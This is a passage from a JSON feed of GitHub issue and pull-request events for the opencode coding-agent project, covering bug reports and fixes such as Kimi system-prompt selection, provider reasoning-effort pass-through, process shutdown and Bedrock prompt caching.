          "text": "## Description `SystemPrompt.provider()` in `packages/opencode/src/session/system.ts` selects the dedicated Kimi system prompt (`prompt/kimi.txt`, added in #20259 by Moonshot AI) only when the **model API id** contains the substring `kimi`: ```ts if (model.api.id.toLowerCase().includes(\"kimi\")) return [PROMPT_KIMI] return [PROMPT_DEFAULT] ``` However, the official `kimi-for-coding` provider now serves its current flagship models under bare ids that do **not** contain `kimi`: | Provider | Model id | Prompt applied | |---|---|---| | `kimi-for-coding` | `k3` | ❌ default | | `kimi-for-coding` | `k3-256k` | ❌ default | | `kimi-for-coding` | `kimi-for-coding` / `kimi-for-coding-highspeed` | ✅ kimi.txt | | `moonshotai` / `moonshotai-cn` | `kimi-k3` | ✅ kimi.txt | So the very same Kimi K3 model gets the Moonshot-tuned prompt when called via the Moonshot provider, but the generic fallback prompt when called via the official Kimi for Coding endpoint — which is likely the most common way K3 is used. ## Expected behavior Kimi-series models served by the official Kimi providers (`kimi-for-coding`, `moonshotai`, `moonshotai-cn`) should consistently use `PROMPT_KIMI`, regardless of whether the model id itself happens to contain the string `kimi`. ## Suggested fix Match on `providerID` in addition to the model id, e.g.: ```ts if (model.api.id.toLowerCase().includes(\"kimi\") || model.providerID.includes(\"kimi\")) return [PROMPT_KIMI] ``` (Matching bare `k3` by id substring would risk false positives, so keying off the provider seems safer.) ## Environment - opencode 1.18.15 (desktop CLI) - Model: `kimi-for-coding/k3` - Verified by inspecting the compiled binary: the `provider()` selection checks only `model.api.id`, and the resulting system prompt for a `kimi-for-coding/k3` session starts with the default prompt text (`You are opencode, an interactive CLI tool...`) instead of the Kimi one (`You are OpenCode, an interactive general AI agent...`).",
          "url": "https://github.com/anomalyco/opencode/issues/42059",
          "createdAt": "2026-08-12T15:25:36Z",
          "updatedAt": "2026-08-12T22:29:05Z",
          "timestamp": "2026-08-12T22:29:05Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "vokasug",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:cbb696bcd6f3e41af91b",
        "signalId": "github:anomalyco/opencode:issue:42167",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42167",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[BUG] OpenCode Go subscription not recognized after purchase / Deepseek v4 Flash locked",
          "text": "Description After running out of my Deepseek v4 Flash credits, I purchased the OpenCode Go subscription. However, the system does not recognize my active subscription. It continuously prompts me to pay for OpenCode Go again and completely blocks my access to the Deepseek v4 Flash model, even though the payment has already been completed. Steps to reproduce Consume all available free credits for Deepseek v4 Flash. Purchase the OpenCode Go subscription. Attempt to use the Deepseek v4 Flash model again. See the error/prompt requesting payment for the OpenCode Go subscription despite having just paid. Expected behavior After successfully paying for the OpenCode Go subscription, the account status should be updated immediately, and access to the Deepseek v4 Flash version should be restored without further payment prompts. Actual behavior The system ignores the active OpenCode Go subscription, keeps asking for payment, and restricts access to the Deepseek v4 Flash version. Screenshots <img width=\"1009\" height=\"261\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/596f6b3e-f040-48ae-baac-ac4f52e63998\" />",
          "url": "https://github.com/anomalyco/opencode/issues/42167",
          "createdAt": "2026-08-12T22:26:24Z",
          "updatedAt": "2026-08-12T22:27:55Z",
          "timestamp": "2026-08-12T22:27:55Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "jefmaus",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:30935dca53f2eb59c28a",
        "signalId": "github:anomalyco/opencode:issue:42154",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42154",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Estoy pagando la versión de OpenCode Go y me sale deepseek v4 Flash con limites",
          "text": "I ran out of Deepseek v4 Flash credits and paid for OpenCode Go, but it keeps telling me I need to pay for the Go subscription. I can no longer use the Deepseek v4 Flash version, even after paying! <img width=\"1009\" height=\"261\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/fa81aa15-90b6-4ada-965d-60bcd6a397f0\" />",
          "url": "https://github.com/anomalyco/opencode/issues/42154",
          "createdAt": "2026-08-12T21:56:30Z",
          "updatedAt": "2026-08-12T22:25:03Z",
          "timestamp": "2026-08-12T22:25:03Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [
            "needs:compliance"
          ],
          "author": "jefmaus",
          "state": "closed",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:d110bf930b03f4a6554c",
        "signalId": "github:anomalyco/opencode:pull_request:42166",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42166",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(groq): pass through reasoning effort",
          "text": "## Summary - patch the Groq SDK reasoning-effort schema to accept arbitrary strings instead of a fixed enum - preserve unknown effort values on the outbound provider request - add regression coverage for pass-through behavior ## Checks - `bun test test/provider-groq.test.ts` (from `packages/core`) - `bun typecheck` (from `packages/core`) - clean forced install with the new Bun patch Requested by: @rekram1-node (Aiden Cline via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42166",
          "createdAt": "2026-08-12T22:16:19Z",
          "updatedAt": "2026-08-12T22:20:26Z",
          "timestamp": "2026-08-12T22:20:26Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:c84a1203a24c4c3d297a",
        "signalId": "github:anomalyco/opencode:pull_request:42164",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42164",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(mistral): pass through reasoning effort",
          "text": "## Summary - loosen the patched Mistral SDK reasoning-effort schema from a fixed enum to a string - preserve arbitrary effort values on the outbound provider request - add regression coverage for an unknown effort value ## Checks - `bun test test/provider-mistral.test.ts` (from `packages/core`) - `bun typecheck` (from `packages/core`) - clean forced install with the updated Bun patch Requested by: @rekram1-node (Aiden Cline via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42164",
          "createdAt": "2026-08-12T22:16:11Z",
          "updatedAt": "2026-08-12T22:20:09Z",
          "timestamp": "2026-08-12T22:20:09Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:47d1dcf527b956c0c0cd",
        "signalId": "github:anomalyco/opencode:pull_request:36563",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36563",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): use catalog small model for session titles",
          "text": "## Summary - Session title generation now prefers `Catalog.model.small(provider)` when the title agent has no explicit model - Falls back to the session model if no small model is available or resolution fails - Agent-configured title model still wins over both ## Test plan - [x] `bun test test/session-title.test.ts` in `packages/core` - [x] `bun typecheck` in `packages/core` - [ ] Manual: first prompt in a new session titles with a cheaper model when one is available for the provider",
          "url": "https://github.com/anomalyco/opencode/pull/36563",
          "createdAt": "2026-07-12T20:55:13Z",
          "updatedAt": "2026-08-12T22:19:29Z",
          "timestamp": "2026-08-12T22:19:29Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "automated-pr-cleanup"
          ],
          "author": "rekram1-node",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:d96646f01f9f8e147537",
        "signalId": "github:anomalyco/opencode:issue:32459",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32459",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]:Grok 4.3 reasoning levels",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Grok 4.3 in OpenCode currently has no reasoning levels. Grok 4.3 on API has none/low/medium/high, hopefully this would work with OAuth as well Thanks!",
          "url": "https://github.com/anomalyco/opencode/issues/32459",
          "createdAt": "2026-06-15T16:47:40Z",
          "updatedAt": "2026-08-12T22:19:25Z",
          "timestamp": "2026-08-12T22:19:25Z",
          "metrics": {
            "reactions": 1,
            "comments": 1
          },
          "labels": [],
          "author": "nathanielstam05-ctrl",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:4f4ffc108562ad43f57a",
        "signalId": "github:anomalyco/opencode:pull_request:42160",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42160",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(xai): pass through reasoning effort",
          "text": "## Summary - loosen the patched xAI SDK reasoning-effort schemas from a fixed enum to a string for both Chat and Responses - preserve arbitrary effort values on the outbound provider request - cover `xhigh` pass-through for both xAI APIs ## Related issues - #32459 ## Checks - `bun test test/provider-xai-responses.test.ts` (from `packages/core`) - `bun typecheck` (from `packages/core`) - clean forced install with the updated Bun patch Requested by: @rekram1-node (Aiden Cline via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42160",
          "createdAt": "2026-08-12T22:07:00Z",
          "updatedAt": "2026-08-12T22:19:20Z",
          "timestamp": "2026-08-12T22:19:20Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:2f413bd7db4a566d0cd1",
        "signalId": "github:anomalyco/opencode:pull_request:36559",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36559",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): add SIGKILL fallback to Process.stop()",
          "text": "### Issue for this PR Closes #36558 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `Process.stop()` in `packages/opencode/src/util/process.ts` only sent `proc.kill()` (SIGTERM) with no timeout or SIGKILL fallback. When an LSP server ignores SIGTERM (e.g. rust-analyzer, clangd), the process remains as a zombie — no escalation to SIGKILL ever happens. The `abort` handler in `Process.spawn()` (same file, line 74) already had the correct pattern: SIGTERM → 5s timeout → SIGKILL. `stop()` was simply missing this escalation chain. The fix wraps the existing `proc.kill(\"SIGTERM\")` with a race between the process exit event and a 5-second timer that escalates to SIGKILL. The SDK copy (`packages/sdk/js/src/process.ts`) is updated to stay in sync. ### How did you verify your code works? - `bun typecheck`: 30/30 tasks, all pass - `bun test test/util/process.test.ts`: 10/10 tests pass ### Screenshots / recordings N/A ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/36559",
          "createdAt": "2026-07-12T20:18:59Z",
          "updatedAt": "2026-08-12T22:19:06Z",
          "timestamp": "2026-08-12T22:19:06Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [
            "automated-pr-cleanup"
          ],
          "author": "beowulfof",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:fccd05afeee811427cfe",
        "signalId": "github:anomalyco/opencode:pull_request:36554",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36554",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): preserve shell output tail",
          "text": "## Summary - add `keep: \"head\" | \"tail\"` to shell output pagination, defaulting to `head` - have ShellTool keep the final capture window without reaching into Shell backing storage - add a regression test proving the tail marker remains, the head marker is omitted, and the saved-output notice remains - regenerate current client surfaces for the query option ## Tests - `bun test test/tool-shell.test.ts` - `bun typecheck` (core, schema, server, client)",
          "url": "https://github.com/anomalyco/opencode/pull/36554",
          "createdAt": "2026-07-12T19:39:07Z",
          "updatedAt": "2026-08-12T22:18:44Z",
          "timestamp": "2026-08-12T22:18:44Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor",
            "automated-pr-cleanup"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:41128c82de5634c664bf",
        "signalId": "github:anomalyco/opencode:pull_request:42159",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42159",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(catalog): serve app shell at lab route",
          "text": "## What Serve the catalog app shell at `https://dev.opencode.ai/lab/catalog` and its client-side deep links. ## Before / After **Before:** the Worker rewrote app routes to `/index.html`, then Cloudflare Assets applied its default HTML canonicalization and redirected that internal path to `https://dev.opencode.ai/`. The bare catalog route returned a redirect/404 instead of the catalog UI, while JSON assets remained available. **After:** Cloudflare Assets performs no independent HTML path rewriting. The Worker remains the single owner of catalog-prefix stripping and SPA fallback routing, so `/lab/catalog`, `/lab/catalog/`, and deep links resolve to the catalog app shell. ## How - Set `assets.html_handling` to `none` in `packages/lab/catalog/wrangler.jsonc`. - Add a regression assertion in `catalog/worker.test.ts` so Assets cannot silently regain competing HTML route behavior. ## Scope This changes only catalog HTML route handling. Capture JSON, the committed capture set, and the `dev.opencode.ai/lab/catalog*` route remain unchanged. ## Testing - `bun run test` - `bun typecheck` - `bun run build` - `bunx wrangler deploy --dry-run` - Full monorepo typecheck from the push hook",
          "url": "https://github.com/anomalyco/opencode/pull/42159",
          "createdAt": "2026-08-12T22:06:53Z",
          "updatedAt": "2026-08-12T22:18:26Z",
          "timestamp": "2026-08-12T22:18:26Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:9d30267f65e48286f596",
        "signalId": "github:anomalyco/opencode:pull_request:36550",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36550",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): resolve keyboard deadlock in question mode",
          "text": "### Issue for this PR Closes #36382 Closes #30517 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The `QuestionPrompt` component has two `useBindings` calls with mutually exclusive `enabled` conditions: - Editing bindings: `enabled: store.editing && !confirm()` - List bindings: `enabled: !store.editing` When a user starts typing a custom answer (`store.editing = true`) and then clicks the Confirm tab with the mouse (`confirm() = true`), both binding sets become disabled simultaneously. This causes a full keyboard lockout — Enter, Escape, Ctrl+C, and all shortcuts stop responding. Mouse events still work because they bypass the keymap system. The fix: 1. **Reset `editing` on tab change** — `selectTab()` now sets `editing = false`, preventing the deadlock state from being reachable. 2. **Add `priority: 1`** to both binding sets so they take precedence over the global `managedTextareaLayer` (which can intercept Enter when a textarea has focus). 3. **Add `app.exit` to editing mode bindings** so Ctrl+C works while typing a custom answer. 4. **Key `QuestionPrompt` by request** using `<Show keyed>` so stale internal state doesn't persist across different question requests. ### How did you verify your code works? Reproduced the deadlock locally by entering \"Type your own answer\" editing mode then clicking the Confirm tab. Verified that after the fix, keyboard remains responsive in all tab/editing combinations. Typecheck passes (`bun typecheck` from `packages/tui`). ### Screenshots / recordings _N/A — keyboard input fix, no visual change._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/36550",
          "createdAt": "2026-07-12T19:06:12Z",
          "updatedAt": "2026-08-12T22:18:21Z",
          "timestamp": "2026-08-12T22:18:21Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor",
            "automated-pr-cleanup"
          ],
          "author": "maharshi365",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:2dee4a06cbd96796ecd0",
        "signalId": "github:anomalyco/opencode:pull_request:42155",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42155",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs: add Orshot to the MCP server examples",
          "text": "### Issue for this PR Closes # No issue — docs-only addition, under the \"Documentation improvements\" bullet in CONTRIBUTING.md. Happy to open one if you'd prefer. ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Adds Orshot to the MCP server examples, in the same shape as the Sentry / Context7 / Grep entries: one config snippet, a prompt, and an AGENTS.md rule. Orshot renders images, PDFs and video from templates. The case this covers is an agent that just wrote a page and needs the OG image to go with it, without leaving the terminal. Two things differ from the existing entries: - No `oauth` block and no key in the snippet. The server does dynamic client registration, so the bare remote entry is enough — OpenCode runs the browser flow on first use. - A link to [Per agent](#per-agent) at the end. Orshot exposes ~66 tools and the page already warns about MCP context cost up top, so it seemed worth pointing at the escape hatch from the example that most needs it. Disclosure: I build Orshot, so this is a vendor-submitted entry. Fine by me if you'd rather keep the list to third-party examples — say so and I'll close it. ### How did you verify your code works? Markdown only, so there was nothing to run. What I did check: - The snippet matches the Remote schema documented higher on the same page (`type`, `url`). - The `#per-agent` anchor resolves — the heading is at line 347 of the same file. - The \"no key needed\" claim, by hand against the server: ``` $ curl -s -o /dev/null -w '%{http_code}' -X POST https://mcp.orshot.com/mcp -d '{...initialize...}' 401 $ curl -sI ... | grep -i www-authenticate www-authenticate: Bearer resource_metadata=\"https://mcp.orshot.com/.well-known/oauth-protected-resource\" ``` The authorization server metadata advertises `registration_endpoint` and `code_challenge_methods_supported: [\"S256\"]`, which is the RFC 7591 path your OAuth handler takes. I did not build the docs site, and I don't have opencode installed to run a live session against it. If you want that before merging, tell me and I'll do it. ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally — to the extent above; no docs build - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42155",
          "createdAt": "2026-08-12T21:58:43Z",
          "updatedAt": "2026-08-12T22:18:03Z",
          "timestamp": "2026-08-12T22:18:03Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "rishimohan",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:cc9f50c04f063c2ff0c2",
        "signalId": "github:anomalyco/opencode:pull_request:36549",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36549",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(agent): add hiddenFromCycle config option to hide agents from tab rotation",
          "text": "### Issue for this PR Closes #36494 ### Type of change - [x] New feature ### What does this PR do? Adds a new agent config field `hiddenFromCycle` (`hidden_from_cycle` in markdown frontmatter) that hides agents from tab/shift+tab rotation while keeping them visible and selectable via `/agents`. Previously `hidden` controlled both. **What changed:** - V1/V2 config schemas accept `hidden_from_cycle`/`hiddenFromCycle` - Runtime agent service wires the field from config - TUI agent context filters `hiddenFromCycle` agents from rotation but includes them in `/agents` - Generated SDK types include the field ### How did you verify your code works? - TUI typecheck passes - Core typecheck passes - SDK regeneration produces correct types ### Screenshots / recordings _If this is a UI change, please include a screenshot or recording._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/36549",
          "createdAt": "2026-07-12T18:51:29Z",
          "updatedAt": "2026-08-12T22:17:57Z",
          "timestamp": "2026-08-12T22:17:57Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "automated-pr-cleanup"
          ],
          "author": "Cretezy",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:3cd1de2c5d984194646c",
        "signalId": "github:anomalyco/opencode:issue:42165",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42165",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "TUI freezes when switching themes repeatedly via theme menu (desktop app)",
          "text": "## Description Switching themes from the theme menu repeatedly causes the TUI to freeze. After the first successful theme change, a second consecutive theme change hangs the app — no keystrokes or UI updates are processed. The app only recovers if you tab out to another section (e.g. away from the theme menu) and tab back; then a theme change works once before it hangs again. ## Reproduction 1. Launch the opencode desktop app (OpenCode.app) and open the theme menu. 2. Select a theme — it applies fine. 3. Open the theme menu again and select another theme. 4. The TUI freezes: no response to input, new theme never renders. 5. Tab out to another section and tab back to the theme menu. 6. Select a theme — works once. Repeat step 3 and the hang returns. ## Expected behavior Themes should switch repeatedly without hanging; the TUI should stay responsive. ## Actual behavior Every second consecutive theme switch freezes the TUI until you leave the section and return. ## Environment - opencode 1.18.16 (desktop app, OpenCode.app) - macOS (darwin) - Related: #24475 covers a TUI hang from theme detection after the opentui upgrade — this may be the same underlying theme-detection/render stall but triggered by repeated theme changes rather than tmux. ## Notes Willing to capture logs / a trace if maintainers point me at the right flags.",
          "url": "https://github.com/anomalyco/opencode/issues/42165",
          "createdAt": "2026-08-12T22:16:12Z",
          "updatedAt": "2026-08-12T22:17:53Z",
          "timestamp": "2026-08-12T22:17:53Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "codekaiOken",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:94e1ff9f3363ce8d3d6e",
        "signalId": "github:anomalyco/opencode:pull_request:36548",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36548",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(i18n): complete Portuguese (Brazil) translation for UI and app",
          "text": "### Issue for this PR Closes #35831 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? This PR completes the Portuguese (Brazil) translation for OpenCode by adding all missing keys in both: - \\packages/ui/src/i18n/br.ts\\ (added 23 missing UI strings) - \\packages/app/src/i18n/br.ts\\ (added 142 missing app strings) All keys are now in full parity with the English source files. The translations cover: - Session review UI, diff viewer controls, line comments - WSL onboarding flow, home screen sessions - Project/workspace management - Settings UI (shell, file tree, navigation, terminal, status, mobile layout) - Error pages and various missing keys throughout ### How did you verify your code works? - All keys match the English source (0 missing, 0 extra) - Proper variable interpolation preserved (\\{{variable}}\\) - Tested language switching in the OpenCode desktop app ### Screenshots / recordings N/A - Translation-only change, no visual differences. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/36548",
          "createdAt": "2026-07-12T18:43:12Z",
          "updatedAt": "2026-08-12T22:17:35Z",
          "timestamp": "2026-08-12T22:17:35Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "automated-pr-cleanup"
          ],
          "author": "RicSchonfelder",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:3e8fc495b05fb56dd14c",
        "signalId": "github:anomalyco/opencode:pull_request:36538",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36538",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): undo recent prompt with double escape",
          "text": "## Summary - track normal TUI prompt submissions for a two-second quick-undo window - make the second Escape abort and revert the exact submitted message - restore the prompt through the existing session revert flow and keep input focus ## Verification - `bun test src/component/prompt/quick-undo.test.ts` - `bun run typecheck` - `bun x prettier --check src/component/prompt/index.tsx src/component/prompt/quick-undo.ts src/component/prompt/quick-undo.test.ts`",
          "url": "https://github.com/anomalyco/opencode/pull/36538",
          "createdAt": "2026-07-12T16:47:57Z",
          "updatedAt": "2026-08-12T22:17:13Z",
          "timestamp": "2026-08-12T22:17:13Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor",
            "automated-pr-cleanup"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "R44VC0RP"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:e79d79ba722366610f32",
        "signalId": "github:anomalyco/opencode:pull_request:36532",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36532",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(provider): do not place Bedrock cachePoint after reasoning blocks",
          "text": "### Issue for this PR Closes #36517 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? On Amazon Bedrock (Anthropic Claude with extended thinking), opencode puts a prompt-cache breakpoint on the last couple of messages. The AI SDK emits message-level `bedrock.cachePoint` after every content part. When an assistant message ends with a reasoning block, that produces: ``` ValidationException: Cache point cannot be inserted after reasoning block. ``` The turn fails, and every retry rebuilds the same invalid request, so the session is stuck until that message ages out of history. This PR: 1. For Bedrock assistant messages that end in reasoning, anchors `cachePoint` on the last non-reasoning content part (or skips it for reasoning-only messages) instead of message-level options. 2. Updates the LLM cache policy so it never marks a pure-reasoning assistant message, and prefers text / last non-reasoning parts. 3. Adds regression tests for both the AI SDK transform path and the Bedrock Converse / cache-policy path. #### Bug path ```mermaid flowchart LR A[applyCaching<br/>message-level cachePoint] --> B[AI SDK convert] B --> C[push cache after<br/>all content parts] C --> D{last part is<br/>reasoning?} D -->|yes| E[wire: text → reasoning → cachePoint] E --> F[Bedrock 400<br/>ValidationException] F --> G[message stays in history] G --> H[retry rebuilds same request] H --> F D -->|no| I[OK — cache after text/tool] ``` #### Fix decision ```mermaid flowchart TD S[Bedrock assistant message<br/>needs a cache breakpoint] --> Q1{last content part<br/>is reasoning?} Q1 -->|no| M[keep message-level<br/>cachePoint — old behavior] Q1 -->|yes| Q2{any non-reasoning<br/>part exists?} Q2 -->|yes| A[anchor cachePoint on<br/>last non-reasoning part] Q2 -->|no| K[skip cachePoint<br/>reasoning-only message] A --> OK[wire: text → cachePoint → reasoning ✅] K --> OK2[no illegal cache after reasoning ✅] M --> OK3[wire ends with text/tool ✅] ``` #### Before / after wire layout ```mermaid flowchart TB subgraph before [Before — illegal] direction TB B1[text] --> B2[reasoning] --> B3[cachePoint ❌] end subgraph after [After — legal] direction TB A1[text] --> A2[cachePoint ✅] --> A3[reasoning] end ``` ### How did you verify your code works? - `cd packages/opencode && bun test test/provider/transform.test.ts` (includes three new cases for #36517) - `cd packages/llm && bun test test/provider/bedrock-converse.test.ts test/cache-policy.test.ts` - `cd packages/opencode && bun typecheck` - `cd packages/llm && bun typecheck` New regression coverage (6 tests, all pass): | Package | Test | |---------|------| | opencode transform | anchors cachePoint on last non-reasoning part | | opencode transform | skips cachePoint for reasoning-only assistant | | opencode transform | keeps message-level cache when not trailing reasoning | | llm cache-policy | latest-assistant anchors on text before reasoning | | llm cache-policy | skips markers for reasoning-only assistant | | llm bedrock-converse | does not place cachePoint after trailing reasoning | ### Screenshots / recordings **Flow diagrams:** Mermaid charts above (bug path, fix decision, before/after wire). **Test results** (local `bun test`, 6 new cases, all green): ![Test results for #36517 — 6 new tests pass](https://raw.githubusercontent.com/giggling-ginger/opencode/bedrock-cache-reasoning/.pr-assets/36517-test-results.png) ``` packages/opencode transform.test.ts 3 pass packages/llm cache-policy + converse 3 pass ``` ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/36532",
          "createdAt": "2026-07-12T16:01:55Z",
          "updatedAt": "2026-08-12T22:16:51Z",
          "timestamp": "2026-08-12T22:16:51Z",
          "metrics": {
            "reactions": 1,
            "comments": 3
          },
          "labels": [
